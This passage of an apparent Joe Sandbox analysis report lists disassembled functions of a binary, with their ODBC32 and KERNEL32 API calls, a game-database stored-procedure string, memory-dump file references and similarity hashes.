                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,0000005D,?,00000000,00000000,?,00000000,000000FA,?), ref: 00444C80
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,0000005D,?), ref: 00444CA4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 7190911924df4cec7d738ef1ad3d15be8b0738ac8162aba054cbee0d33f73dbd
                                                                                                                            • Instruction ID: b28c987220615485632621b24c4385a89706e97525a92cd8178c990757681605
                                                                                                                            • Opcode Fuzzy Hash: 7190911924df4cec7d738ef1ad3d15be8b0738ac8162aba054cbee0d33f73dbd
                                                                                                                            • Instruction Fuzzy Hash: 8F41CBB1E44508ABEB34DBA9CC51FAE7779EB48718F20C20DF6716B382D675A8108F54
                                                                                                                            Function 00488266 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 216COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00486A4E: GetLastError.KERNEL32(?,?,004925B3,?,00490D1F,00000000,?,00000000,00000000,?,00000000,00487C03,004D58FC,004D5900,00000018,004881D5), ref: 00486A50
                                                                                                                              • Part of subcall function 00486A4E: GetCurrentThreadId.KERNEL32 ref: 00486A9D
                                                                                                                              • Part of subcall function 00486A4E: SetLastError.KERNEL32(00000000,?,00490D1F,00000000,?,00000000,00000000,?,00000000,00487C03,004D58FC,004D5900,00000018,004881D5,004D5910,00000008), ref: 00486AB4
                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004882D8
                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004883D5
                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0048842E
                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0048844B
                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0048846E
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorLast$CurrentThread
                                                                                                                            • String ID: DHN
                                                                                                                            • API String ID: 1370660682-555111828
                                                                                                                            • Opcode ID: c14546e9891461e1ea036a516e6c8680dfe2b3b6abf7acfaaaf4cad53b49d4e5
                                                                                                                            • Instruction ID: 9f80dfbc1139386b9314d64e7b7f07811ad79874ea15466bed535525f6ea9af5
                                                                                                                            • Opcode Fuzzy Hash: c14546e9891461e1ea036a516e6c8680dfe2b3b6abf7acfaaaf4cad53b49d4e5
                                                                                                                            • Instruction Fuzzy Hash: 4E610876A00305AFDB14BF99CC41B6EB7F6EB84724F64492FF90097281DB79A9408B18
                                                                                                                            Function 0045F740 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnterCriticalSection.KERNEL32(004E9540), ref: 0045F771
                                                                                                                            • __time32.LIBCMT ref: 0045F7A4
                                                                                                                              • Part of subcall function 004822FD: GetSystemTimeAsFileTime.KERNEL32(0045D0F3,?,?,?,0045D0F3,?), ref: 00482306
                                                                                                                              • Part of subcall function 004822FD: __aulldiv.LIBCMT ref: 00482326
                                                                                                                            • LeaveCriticalSection.KERNEL32(004E9540,?,?), ref: 0045F994
                                                                                                                            • InvalidateRect.USER32(?,00000000,00000001,?,?), ref: 0045F9B1
                                                                                                                            • SendMessageA.USER32(?,00000005,00000007,00000000), ref: 0045F9C3
                                                                                                                            Strings
                                                                                                                            • %02d/%02d/%02d %02d:%02d:%02d> %s, xrefs: 0045F945
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CriticalSectionTime$EnterFileInvalidateLeaveMessageRectSendSystem__aulldiv__time32
                                                                                                                            • String ID: %02d/%02d/%02d %02d:%02d:%02d> %s
                                                                                                                            • API String ID: 470133166-2547019025
                                                                                                                            • Opcode ID: 7998ceecf7e7003b00879658b5b82b3ef7aef4a01fdb0dc52cdbd92b5d4d92c5
                                                                                                                            • Instruction ID: 1ae57a3f0f0c79b230d0dbdebffe31f1230e0b76f4d5de6122f476e911e5818b
                                                                                                                            • Opcode Fuzzy Hash: 7998ceecf7e7003b00879658b5b82b3ef7aef4a01fdb0dc52cdbd92b5d4d92c5
                                                                                                                            • Instruction Fuzzy Hash: A171A3B5A00218ABCB10DF54DC91FDA73B9FF48304F00C1A9E9499B292DB75AE85CF95
                                                                                                                            Function 0043AAAF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_CompleteCharTitle] (?, ?, ?)},000000FD), ref: 0043AACF
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043AB0E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043AB43
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043AB7B
                                                                                                                            • #72.ODBC32(00000000,?,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000), ref: 0043AC1B
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_CompleteCharTitle] (?, ?, ?)}, xrefs: 0043AAC6
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_CompleteCharTitle] (?, ?, ?)}
                                                                                                                            • API String ID: 0-2525810167
                                                                                                                            • Opcode ID: c81acd77ea15679b44de9af10b9ef631957096341c1d6173e4fe21f8d7451072
                                                                                                                            • Instruction ID: 5a7d729f4d4881c434e8ecbf914b442c255fe06f7af2c5103b34cb44b1850100
                                                                                                                            • Opcode Fuzzy Hash: c81acd77ea15679b44de9af10b9ef631957096341c1d6173e4fe21f8d7451072
                                                                                                                            • Instruction Fuzzy Hash: 9A415E75A40698AFDB24CF44CC51F99B374EB84B1AF2489C9F6187B3D1D6B1AE808F44
                                                                                                                            Function 004450DA Relevance: 10.6, APIs: 7, Instructions: 107COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000), ref: 0044511B
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000), ref: 0044514B
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F1,?), ref: 0044517B
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 004451AB
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 004451DB
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044520B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044523B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: af9308a52c5199bd7004dd9b8d927823fc87f0a858a0d32b02c2147684ab2428
                                                                                                                            • Instruction ID: 17d5b8f2e2d445c82f5652981dfee6377c7bab867ad8d66a80304a4180c9b1cc
                                                                                                                            • Opcode Fuzzy Hash: af9308a52c5199bd7004dd9b8d927823fc87f0a858a0d32b02c2147684ab2428
                                                                                                                            • Instruction Fuzzy Hash: A7410C70B00218BFEB64DB09CC51FAA7335EB45718F10C2C8F69D6A381DA71AD848F56
                                                                                                                            Function 00449354 Relevance: 10.6, APIs: 7, Instructions: 107COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 00449395
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 004493C5
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004493F5
                                                                                                                            • #4.ODBC32(?,00000000,0000005D,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00449425
                                                                                                                            • #4.ODBC32(?,00000000,0000005D,?,00000000,00000000,?,00000000,0000005D,?,00000000,00000000,?,00000000,000000F0,?), ref: 00449455
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000002,00000000,?,00000000,0000005D,?,00000000,00000000,?,00000000,0000005D,?), ref: 00449485
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000002,00000000,?,00000000,00000001,?,00000002,00000000,?,00000000,0000005D,?), ref: 004494B5
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: af1dd99e4f9071043df46c4b32b51454f0699c1a8ab68053e70f97e9ad9ca887
                                                                                                                            • Instruction ID: cf2c24e1d65800a880274d26670f84e8c83120806315b76d92f1d5ce941c9fac
                                                                                                                            • Opcode Fuzzy Hash: af1dd99e4f9071043df46c4b32b51454f0699c1a8ab68053e70f97e9ad9ca887
                                                                                                                            • Instruction Fuzzy Hash: 9141EDB1A40558ABDB24DB09CD51FEE7375EF44704F10818AFE186B382D675AF908F54
                                                                                                                            Function 0044A58E Relevance: 10.6, APIs: 7, Instructions: 107COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044A5CF
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044A5FF
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044A62F
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?), ref: 0044A65F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?), ref: 0044A68F
